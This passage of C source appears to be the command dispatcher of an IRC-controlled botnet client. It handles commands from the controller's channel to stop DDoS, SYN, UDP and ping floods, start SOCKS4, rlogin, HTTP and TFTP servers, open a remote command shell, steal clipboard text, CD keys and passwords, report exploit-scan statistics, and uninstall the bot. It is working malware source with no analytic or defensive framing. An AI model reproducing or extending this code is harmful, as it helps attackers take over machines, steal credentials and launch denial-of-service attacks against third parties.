  761.                     replacestr(line, "$server", server); // name of current server
  762.  
  763.                     // process '$chr()' variables
  764.                     while (strstr(line, "$chr(") != NULL) {
  765.                         char *c = strstr(line, "$chr(");
  766.                         strncpy(ntmp, c+5, 4);
  767.                         strtok(ntmp, ")");
  768.                         if (ntmp[0] < 48 || ntmp[0] > 57)
  769.                             strncpy(ntmp, "63", 3);
  770.                         if (atoi(ntmp) > 0)
  771.                             ntmp2[0] = (char)atoi(ntmp);
  772.                         else
  773.                             ntmp2[0] = (char)((rand()%96) + 32);
  774.                         ntmp2[1] = '\0';
  775.                         ii = strlen(ntmp);
  776.                         memset(ntmp, 0, sizeof(ntmp));
  777.                         strncpy(ntmp, c, ii+6);
  778.                         replacestr(line, ntmp, ntmp2);
  779.                         }
  780.  
  781.                     // re-split the line into seperate words
  782.                     strncpy(line1, line, sizeof(line1)-1);
  783.                     strncpy(line2, line1, sizeof(line2)-1);
  784.                     a[0] = strtok(line2, " ");
  785.                     for (i = 1; i < 32; i++)
  786.                         a[i] = strtok(NULL, " ");
  787.                     if (a[s] == NULL)
  788.                         return 1;
  789.                     a[s] += 3;
  790.                     }
  791.  
  792.                 if (strcmp("rndnick", a[s]) == 0 || strcmp("rn", a[s]) == 0) {
  793.                     rndnick(nick, nicktype, ((parameters['p'])?(TRUE):(FALSE)), a[s+1]);
  794.                     irc_sendv(sock, "NICK %s\r\n", nick);
  795.  
  796.                     addlogv("[MAIN]: Random nick change: %s",nick);
  797.  
  798.                     return repeat;
  799.                     }
  800.                 else if (strcmp("die", a[s]) == 0 || strcmp("d", a[s]) == 0) {
  801.                     if (strcmp("332", a[1]) != 0) {
  802. #ifdef DEBUG_LOGGING
  803.                         closedebuglog();
  804. #endif
  805.                         killthreadall();
  806.                         ExitProcess(EXIT_SUCCESS);
  807.                         }
  808.                     }
  809.                 else if (strcmp("logout", a[s]) == 0 || strcmp("lo", a[s]) == 0) {
  810.                     if (a[s+1]) {
  811.                         i = atoi(a[s+1]);
  812.                         if(i >= 0 && i < MAXLOGINS) {
  813.                             if(masters[i][0] != '\0') {
  814.                                 sprintf(sendbuf, "[MAIN]: User %s logged out.", masters[i]+1);
  815.                                 masters[i][0] = '\0';
  816.                                 } else
  817.                                     sprintf(sendbuf, "[MAIN]: No user logged in at slot: %d.", i);
  818.                             } else
  819.                                 sprintf(sendbuf, "[MAIN]: Invalid login slot number: %d.", i);             
  820.                         } else {
  821.                             for (i = 0; i < MAXLOGINS; i++)
  822.                                 if (strcmp(masters[i], a[0]) == 0) {
  823.                                     masters[i][0] = '\0';
  824.                                     sprintf(sendbuf, "[MAIN]: User %s logged out.", user);
  825.                                     break;
  826.                                     }
  827.                         }
  828.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  829.                     addlog(sendbuf);
  830.  
  831.                     return 1;
  832.                     }
  833. #ifndef NO_BOTVERSION
  834.                 else if (strcmp("version", a[s]) == 0 || strcmp("ver", a[s]) == 0) {
  835.                     sprintf(sendbuf, "[MAIN]: %s", version);
  836.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  837.                     addlog(sendbuf);
  838.  
  839.                     return repeat;
  840.                     }
  841. #endif
  842. #ifndef NO_SECURE
  843.                 else if (strcmp("secure", a[s]) == 0 || strcmp("sec", a[s]) == 0
  844.                     || strcmp("unsecure", a[s]) == 0 || strcmp("unsec", a[s]) == 0) {
  845.                         SECURE secure;
  846.                         secure.secure = (strcmp("secure",a[s])==0 || strcmp("sec",a[s])==0);
  847.                         _snprintf(secure.chan, sizeof(secure.chan), a[2]);
  848.                         secure.sock = sock;
  849.                         secure.notice = notice;
  850.                         secure.silent = silent;
  851.  
  852.                         _snprintf(sendbuf, sizeof(sendbuf),"[SECURE]: %s system.", ((secure.secure)?("Securing"):("Unsecuring")));
  853.                         secure.threadnum = addthread(sendbuf, SECURE_THREAD, NULL);
  854.                         if (threads[secure.threadnum].tHandle = CreateThread(NULL, 0, &SecureThread, (LPVOID)&secure, 0, &id)) {
  855.                             while (secure.gotinfo == FALSE)
  856.                                 Sleep(50);
  857.                             } else
  858.                                 sprintf(sendbuf,"[SECURE]: Failed to start secure thread, error: <%d>.", GetLastError());
  859.                             addlog(sendbuf);
  860.  
  861.                             return 1;
  862.                     }
  863. #endif
  864. #ifndef NO_SOCK4SERV
  865.                 else if (strcmp("socks4", a[s]) == 0 || strcmp("s4", a[s]) == 0) {
  866.                     SOCKS4 socks4;
  867.                     socks4.port = ((a[s+1])?((atoi(a[s+1])==0)?(socks4port):(atoi(a[s+1]))):(socks4port));
  868.                     ((a[s+2])?(_snprintf(socks4.userid,sizeof(socks4.userid),a[s+2])):
  869.                         ((parameters['a'])?(_snprintf(socks4.userid,sizeof(socks4.userid),user)):(socks4.userid[0]='\0')));
  870.                     socks4.sock = sock;
  871.                     socks4.notice = notice;
  872.                     socks4.silent = silent;
  873.                     _snprintf(socks4.chan,sizeof(socks4.chan),a[2]);
  874.  
  875.                     sprintf(sendbuf, "[SOCKS4]: Server started on: %s:%d.", GetIP(sock), socks4.port);
  876.                     socks4.threadnum=addthread(sendbuf,SOCKS4_THREAD,NULL);
  877.                     if (threads[socks4.threadnum].tHandle = CreateThread(NULL, 0, &Socks4Thread, (LPVOID)&socks4, 0, &id)) {
  878.                         while(socks4.gotinfo == FALSE)
  879.                             Sleep(50);
  880.                         } else
  881.                             addlogv("[SOCKS4]: Failed to start server thread, error: <%d>.", GetLastError());
  882.  
  883.                         return 1;
  884.                     }
  885.                 else if (strcmp("socks4stop",a[s]) == 0) {
  886.                     stopthread(sock,a[2],notice,silent,"[SOCKS4]","Server",SOCKS4_THREAD,a[s+1]);
  887.  
  888.                     return 1;
  889.                     }
  890. #endif
  891. #ifndef NO_RLOGIND
  892.                 else if (strcmp("rloginstop",a[s]) == 0) {
  893.                     stopthread(sock,a[2],notice,silent,"[RLOGIND]","Server",RLOGIN_THREAD,a[s+1]);
  894.  
  895.                     return 1;
  896.                     }
  897. #endif
  898.                 else if (strcmp("httpstop",a[s]) == 0) {
  899.                     stopthread(sock,a[2],notice,silent,"[HTTPD]","Server",HTTP_THREAD,a[s+1]);
  900.  
  901.                     return 1;
  902.                     }
  903.                 else if (strcmp("logstop",a[s]) == 0) {
  904.                     stopthread(sock,a[2],notice,silent,"[LOG]","Log list",LOG_THREAD,a[s+1]);
  905.  
  906.                     return 1;
  907.                     }
  908.                 else if (strcmp("redirectstop",a[s]) == 0) {
  909.                     stopthread(sock,a[2],notice,silent,"[REDIRECT]","TCP redirect",REDIRECT_THREAD,a[s+1]);
  910.  
  911.                     return 1;
  912.                     }
  913.                 else if (strcmp("ddos.stop",a[s]) == 0) {
  914.                     stopthread(sock,a[2],notice,silent,"[DDoS]","DDoS flood",DDOS_THREAD,a[s+1]);
  915.  
  916.                     return 1;
  917.                     }
  918.                 else if (strcmp("synstop",a[s]) == 0) {
  919.                     stopthread(sock,a[2],notice,silent,"[SYN]","Syn flood",SYN_THREAD,a[s+1]);
  920.  
  921.                     return 1;
  922.                     }
  923.                 else if (strcmp("udpstop",a[s]) == 0) {
  924.                     stopthread(sock,a[2],notice,silent,"[UPD]","UDP flood",UDP_THREAD,a[s+1]);
  925.  
  926.                     return 1;
  927.                     }
  928.                 else if (strcmp("pingstop",a[s]) == 0) {
  929.                     stopthread(sock,a[2],notice,silent,"[PING]","Ping flood",PING_THREAD,a[s+1]);
  930.  
  931.                     return 1;
  932.                     }
  933. #ifndef NO_TFTPD
  934.                 else if (strcmp("tftpstop", a[s]) == 0) {
  935.                     stopthread(sock,a[2],notice,silent,"[TFTP]","Server",TFTP_THREAD,a[s+1]);
  936.  
  937.                     return 1;
  938.                     }
  939. #endif
  940. #ifndef NO_FINDFILE
  941.                 else if (strcmp("findfilestop",a[s]) == 0 || strcmp("ffstop",a[s]) == 0) {
  942.                     stopthread(sock,a[2],notice,silent,"[FINDFILE]","Find file",FIND_THREAD,a[s+1]);
  943.  
  944.                     return 1;
  945.                     }
  946. #endif
  947. #ifndef NO_PROCESS
  948.                 else if (strcmp("procsstop",a[s]) == 0 || strcmp("psstop",a[s]) == 0) {
  949.                     stopthread(sock,a[2],notice,silent,"[PROC]","Process list",PROC_THREAD,a[s+1]);
  950.  
  951.                     return 1;
  952.                     }
  953. #endif
  954.                 else if (strcmp("clonestop",a[s]) == 0) {
  955.                     stopthread(sock,a[2],notice,silent,"[CLONES]","Clone",CLONE_THREAD,a[s+1]);
  956.  
  957.                     return 1;
  958.                     }
  959.                 else if (strcmp("securestop",a[s]) == 0) {
  960.                     stopthread(sock,a[2],notice,silent,"[SECURE]","Secure",SECURE_THREAD,a[s+1]);
  961.  
  962.                     return 1;
  963.                     }
  964.                 else if (strcmp("scanstop",a[s]) == 0) {
  965.                     stopthread(sock,a[2],notice,silent,"[SCAN]","Scan",SCAN_THREAD,a[s+1]);
  966.  
  967.                     return 1;
  968.                     }
  969.                 /*else if (strcmp("scandel",a[s]) == 0 || strcmp("sdel",a[s]) == 0) {
  970.                 DelPayloadFile(sock,a[2],notice,silent);
  971.  
  972.                 return 1;
  973.                 }*/
  974.                 else if (strcmp("scanstats",a[s]) == 0 || strcmp("stats",a[s]) == 0) {
  975.                     ListExploitStats(sock,a[2],notice);
  976.  
  977.                     return repeat;
  978.                     }
  979.                 else if (strcmp("reconnect", a[s]) == 0 || strcmp("r", a[s]) == 0) {
  980.                     irc_sendv(sock, "QUIT :reconnecting\r\n");
  981.                     addlog("[MAIN]: Reconnecting.");
  982.  
  983.                     return 0;
  984.                     }
  985.                 else if (strcmp("disconnect", a[s]) == 0 || strcmp("dc", a[s]) == 0) {
  986.                     irc_sendv(sock, "QUIT :disconnecting\r\n");
  987.                     addlog("[MAIN]: Disconnecting.");
  988.  
  989.                     return -1;
  990.                     }
  991.                 else if (strcmp("quit", a[s]) == 0 || strcmp("q", a[s]) == 0) {
  992.                     if (a[s+1]) {
  993.                         if (x != NULL) {
  994.                             char *y = strstr(x, a[s+1]);
  995.                             if (y != NULL) irc_sendv(sock, "QUIT :%s\r\n", y);
  996.                             }
  997.                         } else
  998.                             irc_sendv(sock, "QUIT :later\r\n");
  999.  
  1000.                         return -2;
  1001.                     }
  1002.                 else if (strcmp("status", a[s]) == 0 || strcmp("s", a[s]) == 0) {
  1003.                     sprintf(sendbuf, "[MAIN]: Status: Ready. Bot Uptime: %s.", Uptime(started));
  1004.                     irc_privmsg(sock, a[2], sendbuf, notice);
  1005.                     addlog(sendbuf);
  1006.  
  1007.                     return repeat;
  1008.                     }
  1009.                 else if (strcmp("id", a[s]) == 0 || strcmp("i", a[s]) == 0) {
  1010.                     sprintf(sendbuf, "[MAIN]: Bot ID: %s.", botid);
  1011.                     irc_privmsg(sock, a[2], sendbuf, notice);
  1012.                     addlog(sendbuf);
  1013.  
  1014.                     return repeat;
  1015.                     }
  1016.                 else if (strcmp("reboot", a[s]) == 0) {
  1017.                     sprintf(sendbuf, ((Reboot())?("[MAIN]: Rebooting system."):("[MAIN]: Failed to reboot system.")));
  1018.                     irc_privmsg(sock, a[2], sendbuf, notice);
  1019.                     addlog(sendbuf);
  1020.  
  1021.                     return 1;
  1022.                     }
  1023.                 else if (strcmp("threads", a[s]) == 0 || strcmp("t", a[s]) == 0) {
  1024.                     TLIST tlist;
  1025.                     _snprintf(tlist.chan, sizeof(tlist.chan), a[2]);
  1026.                     tlist.sock = sock;
  1027.                     tlist.notice = notice;
  1028.                     tlist.silent = silent;
  1029.                     tlist.full = ((a[s+1])?((strcmp(a[s+1],"sub") == 0)?(TRUE):(FALSE)):(FALSE));
  1030.  
  1031.                     sprintf(sendbuf, "[THREADS]: List threads.");
  1032.                     tlist.threadnum = addthread(sendbuf, LIST_THREAD, NULL);
  1033.                     if (threads[tlist.threadnum].tHandle = CreateThread(NULL, 0, &ListThread, (LPVOID)&tlist, 0, &id)) {
  1034.                         while (tlist.gotinfo == FALSE)
  1035.                             Sleep(50);
  1036.                         } else
  1037.                             sprintf(sendbuf,"[THREADS]: Failed to start list thread, error: <%d>.", GetLastError());
  1038.                         addlog(sendbuf);
  1039.  
  1040.                         return repeat;
  1041.                     }
  1042.                 else if (strcmp("aliases", a[s]) == 0 || strcmp("al", a[s]) == 0) {
  1043.                     aliaslist(sock, a[2], notice);
  1044.                     addlog("[MAIN]: Alias list.");
  1045.  
  1046.                     return repeat;
  1047.                     }
  1048.                 else if (strcmp("log", a[s]) == 0 || strcmp("lg", a[s]) == 0) {
  1049.                     SHOWLOG showlog;
  1050.                     showlog.filter[0] = '\0';
  1051.                     if (x != NULL && a[s+1]) {
  1052.                         char *y = strstr(x, a[s+1]);
  1053.                         if (y != NULL)
  1054.                             _snprintf(showlog.filter,sizeof(showlog.filter),"%s",y);
  1055.                         }
  1056.                     _snprintf(showlog.chan, sizeof(showlog.chan), a[2]);
  1057.                     showlog.sock = sock;
  1058.                     showlog.notice = notice;
  1059.                     showlog.silent = silent;
  1060.  
  1061.                     sprintf(sendbuf, "[LOG]: Listing log.");
  1062.                     showlog.threadnum = addthread(sendbuf, LOG_THREAD, NULL);
  1063.                     if (threads[showlog.threadnum].tHandle = CreateThread(NULL, 0, &ShowLogThread, (LPVOID)&showlog, 0, &id)) {
  1064.                         while (showlog.gotinfo == FALSE)
  1065.                             Sleep(50);
  1066.                         } else
  1067.                             addlogv("[LOG]: Failed to start listing thread, error: <%d>.", GetLastError());
  1068.  
  1069.                         return 1;
  1070.                     }
  1071.                 else if (strcmp("clearlog", a[s]) == 0 || strcmp("clg", a[s]) == 0) {
  1072.                     clearlog(sock, a[2], notice, silent);
  1073.  
  1074.                     return 1;
  1075.                     }
  1076. #ifndef NO_NETINFO
  1077.                 else if (strcmp("netinfo", a[s]) == 0 || strcmp("ni", a[s]) == 0) {
  1078.                     irc_privmsg(sock, a[2], netinfo(sendbuf, host, sock), notice);
  1079.                     addlog("[MAIN]: Network Info.");
  1080.  
  1081.                     return repeat;
  1082.                     }
  1083. #endif
  1084. #ifndef NO_SYSINFO
  1085.                 else if (strcmp("sysinfo", a[s]) == 0 || strcmp("si", a[s]) == 0) {
  1086.                     irc_privmsg(sock, a[2], sysinfo(sendbuf, sock), notice);
  1087.                     addlog("[MAIN]: System Info.");
  1088.  
  1089.                     return repeat;
  1090.                     }
  1091. #endif
  1092.                 else if (strcmp("remove", a[s]) == 0 || strcmp("rm", a[s]) == 0) {
  1093.                     if (!silent) irc_privmsg(sock, a[2], "[MAIN]: Removing Bot.", notice);
  1094. #ifdef DEBUG_LOGGING
  1095.                     closedebuglog();
  1096. #endif
  1097.                     fclosesocket(sock);
  1098.                     fWSACleanup();
  1099.                     uninstall();
  1100.                     ExitProcess(EXIT_SUCCESS);
  1101.                     }
  1102. #ifndef NO_PROCESS
  1103.                 else if (strcmp("procs", a[s]) == 0 || strcmp("ps", a[s]) == 0) {
  1104.                     if (findthreadid(PROC_THREAD) > 0) {
  1105.                         if (!silent) irc_privmsg(sock, a[2], "[PROC]: Already running.", notice);
  1106.                         } else {
  1107.                             LPROC lproc;
  1108.                             _snprintf(lproc.chan, sizeof(lproc.chan), a[2]);
  1109.                             lproc.sock = sock;
  1110.                             lproc.notice = notice;
  1111.                             lproc.silent = silent;
  1112.                             lproc.full = FALSE;
  1113.                             if (a[s+1])
  1114.                                 if (strcmp("full", a[s+1]) == 0)
  1115.                                     lproc.full = TRUE;
  1116.  
  1117.                             sprintf(sendbuf,"[PROCS]: Proccess list.");
  1118.                             lproc.threadnum = addthread(sendbuf, PROC_THREAD, NULL);
  1119.                             if (threads[lproc.threadnum].tHandle = CreateThread(NULL, 0, &listProcessesThread, (LPVOID)&lproc, 0, &id)) {
  1120.                                 while (lproc.gotinfo == FALSE)
  1121.                                     Sleep(50);
  1122.                                 } else
  1123.                                     sprintf(sendbuf,"[PROCS]: Failed to start listing thread, error: <%d>.", GetLastError());
  1124.                                 addlog(sendbuf);
  1125.                         }
  1126.  
  1127.                     return 1;
  1128.                     }
  1129. #endif
  1130. #ifndef NO_CDKEYS
  1131.                 else if (strcmp("getcdkeys", a[s]) == 0 || strcmp("key", a[s]) == 0) {
  1132.                     getcdkeys(sock,a[2],notice);
  1133.                     sprintf(sendbuf,"[CDKEYS]: Search completed.");
  1134.                     if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1135.                     addlog(sendbuf);
  1136.  
  1137.                     return 1;
  1138.                     }
  1139. #endif
  1140.                 else if (strcmp("uptime", a[s]) == 0 || strcmp("up", a[s]) == 0) {
  1141.                     DWORD uptime = -1, total = GetTickCount() / 1000;
  1142.  
  1143.                     if(a[s+1])
  1144.                         uptime = atoi(a[s+1]);
  1145.  
  1146.                     if (total/86400 >= uptime || uptime == -1) {
  1147.                         sprintf(sendbuf, "[MAIN]: Uptime: %s.", Uptime());
  1148.                         irc_privmsg(sock, a[2], sendbuf, notice);
  1149.                         addlog(sendbuf);
  1150.                         }
  1151.  
  1152.                     return repeat;
  1153.                     }
  1154.                 else if (strcmp("driveinfo", a[s]) == 0 || strcmp("drv", a[s]) == 0) {
  1155.                     DriveInfo(sock, a[2], notice, a[s+1]);
  1156.  
  1157.                     return 1;
  1158.                     }
  1159.                 else if (strcmp("testdlls", a[s]) == 0 || strcmp("dll", a[s]) == 0) {
  1160.                     CheckDLLs(sock,a[2],notice,silent);
  1161.  
  1162.                     return 1;
  1163.                     }
  1164. #ifdef DUMP_ENCRYPT
  1165.                 else if (strcmp("encrypt", a[s]) == 0 || strcmp("enc", a[s]) == 0) {
  1166.                     encryptstrings((sizeof(authost) / sizeof(LPTSTR)),(sizeof(versionlist) / sizeof(LPTSTR)),sock,a[2],notice);
  1167.  
  1168.                     return 1;
  1169.                     }
  1170. #endif
  1171. #ifndef NO_REMOTECMD
  1172.                 else if (strcmp("opencmd",a[s]) == 0 || strcmp("ocmd", a[s]) == 0) {
  1173.                     if (findthreadid(RCMD_THREAD) > 0) {
  1174.                         sprintf(sendbuf ,"[CMD]: Remote shell already running.");
  1175.                         if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1176.                         addlog(sendbuf);
  1177.                         } else {
  1178.                             if (open_cmd(sock,a[2]) == -1)
  1179.                                 sprintf(sendbuf,"[CMD]: Couldn't open remote shell.");
  1180.                             else
  1181.                                 sprintf(sendbuf,"[CMD]: Remote shell ready.");
  1182.                             if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1183.                             addlog(sendbuf);
  1184.                         }
  1185.  
  1186.                     return 1;
  1187.                     }
  1188.                 else if (strcmp("cmdstop",a[s]) == 0) {
  1189.                     stopthread(sock,a[2],notice,silent,"[CMD]","Remote shell",RCMD_THREAD,a[s+1]);
  1190.  
  1191.                     return 1;
  1192.                     }
  1193. #endif
  1194.                 else if (strcmp("who", a[s]) == 0) {
  1195.                     if (!silent) irc_privmsg(sock, a[2], "-[Login List]-", notice);
  1196.                     for (i = 0; i < MAXLOGINS; i++) {
  1197.                         sprintf(sendbuf,"%d. %s",i,((masters[i][0] != '\0')?(masters[i]+1):("<Empty>")));
  1198.                         irc_privmsg(sock, a[2], sendbuf, notice, TRUE);
  1199.                         }
  1200.                     addlog("[MAIN]: Login list complete.");
  1201.                     }
  1202.                 else if (strcmp("getclip", a[s]) == 0 || strcmp("gc", a[s]) == 0) {
  1203.                     if (!silent) irc_privmsg(sock, a[2], "-[Clipboard Data]-", notice);
  1204.                     irc_privmsg(sock, a[2], GetClipboardText(), notice);
  1205.                     addlog("[MAIN]: Get Clipboard.");
  1206.  
  1207.                     return repeat;
  1208.                     }
  1209.                 else if (strcmp("flusharp", a[s]) == 0 || strcmp("farp", a[s]) == 0) {
  1210.                     if (FlushARPCache())
  1211.                         _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: ARP cache flushed.");
  1212.                     else
  1213.                         _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: Failed to flush ARP cache.");
  1214.  
  1215.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1216.                     addlog(sendbuf);
  1217.  
  1218.                     return repeat;
  1219.                     }
  1220.                 else if (strcmp("flushdns", a[s]) == 0 || strcmp("fdns", a[s]) == 0) {
  1221.                     if (fDnsFlushResolverCache) {
  1222.                         if (fDnsFlushResolverCache())
  1223.                             _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: DNS cache flushed.");
  1224.                         else
  1225.                             _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: Failed to flush DNS cache.");
  1226.                         } else
  1227.                             _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: Failed to load dnsapi.dll.");
  1228.  
  1229.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1230.                         addlog(sendbuf);
  1231.  
  1232.                         return repeat;
  1233.                     }
  1234.                 else if (strcmp("currentip", a[s]) == 0 || strcmp("cip", a[s]) == 0) {
  1235.                     int scanthread;
  1236.                     if (a[s+1])
  1237.                         scanthread = atoi(a[s+1]);
  1238.                     else
  1239.                         scanthread = findthreadnum(SCAN_THREAD);
  1240.                     if (scanthread != 0)
  1241.                         currentIP(sock, a[2], notice, scanthread);
  1242.  
  1243.                     return repeat;
  1244.                     }
  1245. #ifndef NO_RLOGIND
  1246.                 else if (strcmp("rloginserver", a[s]) == 0 || strcmp("rlogin", a[s]) == 0) {
  1247.                     RLOGIND rlogind;
  1248.  
  1249.                     rlogind.port = ((a[s+1])?((atoi(a[s+1])==0)?(rloginport):(atoi(a[s+1]))):(rloginport));
  1250.                     _snprintf(rlogind.username, sizeof(rlogind.username), ((a[s+2])?(a[s+2]):(user)));
  1251.                     _snprintf(rlogind.hostname, sizeof(rlogind.hostname), ((a[s+3])?(a[s+3]):("")));
  1252.                     _snprintf(rlogind.chan, sizeof(rlogind.chan), a[2]);
  1253.                     rlogind.sock = sock;
  1254.                     rlogind.notice = notice;
  1255.                     rlogind.silent = silent;
  1256.  
  1257.                     sprintf(sendbuf,"[RLOGIND]: Server listening on IP: %s:%d, Username: %s.", GetIP(sock), rlogind.port, rlogind.username);
  1258.                     rlogind.threadnum = addthread(sendbuf,RLOGIN_THREAD,NULL);
  1259.                     if (threads[rlogind.threadnum].tHandle = CreateThread(NULL, 0, &RlogindThread, (LPVOID)&rlogind, 0, &id)) {
  1260.                         while(rlogind.gotinfo == FALSE)
  1261.                             Sleep(50);
  1262.                         } else
  1263.                             sprintf(sendbuf,"[RLOGIND]: Failed to start server thread, error: <%d>.", GetLastError());
  1264.  
  1265.                         if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1266.                         addlog(sendbuf);
  1267.  
  1268.                         return 1;
  1269.                     }
  1270. #endif
  1271. #ifndef NO_HTTPD
  1272.                 else if (strcmp("httpserver", a[s]) == 0 || strcmp("http", a[s]) == 0) {
  1273.                     HTTPD httpd;
  1274.                     httpd.port = ((a[s+1])?((atoi(a[s+1])==0)?(httpport):(atoi(a[s+1]))):(httpport));
  1275.                     httpd.enabled = ((parameters['d'])?(FALSE):(TRUE));
  1276.                     if (a[s+2])
  1277.                         sprintf(httpd.dir, a[s+2]);
  1278.                     else {
  1279.                         char sysdir[MAX_PATH], drive[10];
  1280.                         GetSystemDirectory(sysdir,sizeof(sysdir));
  1281.                         _splitpath(sysdir, drive, NULL, NULL, NULL);
  1282.                         }
  1283.                     if (httpd.dir[strlen(httpd.dir)-1] == 92)
  1284.                         httpd.dir[strlen(httpd.dir)-1] = '\0';
  1285.                     httpd.sock = sock;
  1286.                     _snprintf(httpd.chan, sizeof(httpd.chan), a[2]);
  1287.                     httpd.notice = notice;
  1288.                     httpd.silent = silent;
  1289.  
  1290.                     sprintf(sendbuf,"[HTTPD]: Server listening on IP: %s:%d, Directory: %s\\.", GetIP(sock), httpd.port, httpd.dir);
  1291.                     httpd.threadnum = addthread(sendbuf,HTTP_THREAD,NULL);
  1292.                     if (threads[httpd.threadnum].tHandle = CreateThread(NULL, 0, &HTTP_Server_Thread, (LPVOID)&httpd, 0, &id)) {   
  1293.                         while(httpd.info == FALSE)
  1294.                             Sleep(50);
  1295.                         } else
  1296.                             sprintf(sendbuf,"[HTTPD]: Failed to start server thread, error: <%d>.", GetLastError());
  1297.  
  1298.                         if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1299.                         addlog(sendbuf);
  1300.  
  1301.                         return 1;
  1302.                     }
  1303. #endif
  1304. #ifndef NO_TFTPD
  1305.                 else if (strcmp("tftpserver", a[s]) == 0 || strcmp("tftp", a[s]) == 0) {
  1306.                     if (findthreadid(TFTP_THREAD) > 0)
  1307.                         sprintf(sendbuf ,"[TFTP]: Already running.");
  1308.                     else {
  1309.                         TFTP tftp;
  1310.                         (a[s+1])?(_snprintf(tftp.filename, sizeof(tftp.filename), a[s+1])):(GetModuleFileName(0,tftp.filename,sizeof(tftp.filename)));
  1311.                         _snprintf(tftp.requestname, sizeof(tftp.requestname), ((a[s+2])?(a[s+2]):(filename)));
  1312.                         tftp.port = tftpport;
  1313.                         tftp.threads = 0;
  1314.                         tftp.sock = sock;
  1315.                         strncpy(tftp.chan, a[2], sizeof(tftp.chan)-1);
  1316.                         tftp.notice = notice;
  1317.                         tftp.silent = silent;
  1318.  
  1319.                         sprintf(sendbuf, "[TFTP]: Server started on Port: %d, File: %s, Request: %s.", tftp.port, tftp.filename, tftp.requestname);
  1320.                         tftp.threadnum = addthread(sendbuf,TFTP_THREAD,NULL);
  1321.                         if (threads[tftp.threadnum].tHandle = CreateThread(NULL, 0, &tftpserver, (LPVOID)&tftp, 0, &id)) {
  1322.                             while (tftp.gotinfo == FALSE)
  1323.                                 Sleep(50);
  1324.                             } else
  1325.                                 sprintf(sendbuf,"[TFTP]: Failed to start server thread, error: <%d>.", GetLastError());
  1326.                         }
  1327.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1328.                     addlog(sendbuf);
  1329.  
  1330.                     return 1;
  1331.                     }
  1332. #endif
  1333. #ifndef NO_CRASH
  1334.                 else if (strcmp("crash", a[s]) == 0) {
  1335.                     sprintf(sendbuf,"[MAIN]: Crashing bot.");
  1336.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1337.                     addlog(sendbuf);
  1338.  
  1339.                     strcmp(a[s+5],"crash"); // yes, this will crash.
  1340.  
  1341.                     return 1;
  1342.                     }
  1343. #endif
  1344. #ifndef NO_FINDPASS
  1345.                 else if (strcmp("findpass", a[s]) == 0 || strcmp("fp", a[s]) == 0) {
  1346.                     FINDPASS findpass;
  1347.                     _snprintf(findpass.chan, sizeof(findpass.chan), a[2]);
  1348.                     findpass.sock = sock;
  1349.                     findpass.notice = notice;
  1350.                     findpass.silent = silent;
  1351.  
  1352.                     _snprintf(sendbuf, sizeof(sendbuf),"[FINDPASS]: Searching for password.");
  1353.                     findpass.threadnum = addthread(sendbuf, PASS_THREAD, NULL);
  1354.                     if (threads[findpass.threadnum].tHandle = CreateThread(NULL, 0, &FindPassThread, (LPVOID)&findpass, 0, &id)) {
  1355.                         while (findpass.gotinfo == FALSE)
  1356.                             Sleep(50);
  1357.                         } else
  1358.                             sprintf(sendbuf,"[FINDPASS]: Failed to start search thread, error: <%d>.", GetLastError());
  1359.                         addlog(sendbuf);
  1360.  
  1361.                         return 1;
  1362.                     }
  1363. #endif
  1364.  
  1365.                 // commands requiring at least 1 parameter
  1366.                 else if (a[s+1] == NULL) return 1;
  1367.                 else if (strcmp("nick", a[s]) == 0 || strcmp("n", a[s]) == 0) {
  1368.                     irc_sendv(sock, "NICK %s\r\n", a[s+1]);
  1369.                     addlogv("[MAIN]: Nick changed to: '%s'.",a[s+1]);
  1370.  
  1371.                     return repeat;
  1372.                     }
  1373.                 else if (strcmp("join", a[s]) == 0 || strcmp("j", a[s]) == 0) {
  1374.                     irc_sendv(sock, "JOIN %s %s\r\n", a[s+1], a[s+2]);
  1375.                     addlogv("[MAIN]: Joined channel: '%s'.",a[s+1]);
  1376.  
  1377.                     return repeat;
  1378.                     }
  1379.                 else if (strcmp("part", a[s]) == 0 || strcmp("pt", a[s]) == 0) {
  1380.                     irc_sendv(sock, "PART %s\r\n", a[s+1]);
  1381.                     addlogv("[MAIN]: Parted channel: '%s'.",a[s+1]);
  1382.  
  1383.                     return repeat;
  1384.                     }
  1385.                 else if (strcmp("raw", a[s]) == 0 || strcmp("r", a[s]) == 0) {
  1386.                     if (x != NULL) {
  1387.                         char *y = strstr(x, a[s+1]);
  1388.                         if (y != NULL) {
  1389.                             irc_sendv(sock, "%s\r\n", y);
  1390.                             addlogv("[MAIN]: IRC Raw: %s.",y);
  1391.                             }
  1392.                         }
  1393.  
  1394.                     return repeat;
  1395.                     }
  1396.                 else if (strcmp("killthread", a[s]) == 0 || strcmp("k", a[s]) == 0) {
  1397.                     if (strcmp("all", a[s+1]) == 0) {
  1398.                         if ((i=killthreadall()) > 0)
  1399.                             sprintf(sendbuf,"[THREADS]: Stopped: %d thread(s).", i);
  1400.                         else
  1401.                             sprintf(sendbuf,"[THREADS]: No active threads found.");
  1402.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1403.                         addlog(sendbuf);                   
  1404.                         } else {
  1405.                             for (i = s+1; i < (sizeof(a)/4); i++) {
  1406.                                 if (a[i]==NULL) break;
  1407.  
  1408.                                 if (killthread(atoi(a[i])))
  1409.                                     sprintf(sendbuf,"[THREADS]: Killed thread: %s.",a[i]);
  1410.                                 else
  1411.                                     sprintf(sendbuf,"[THREADS]: Failed to kill thread: %s.",a[i]);
  1412.                                 if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1413.                                 addlog(sendbuf);
  1414.                                 }
  1415.                         }
  1416.  
  1417.                     return 1;
  1418.                     }
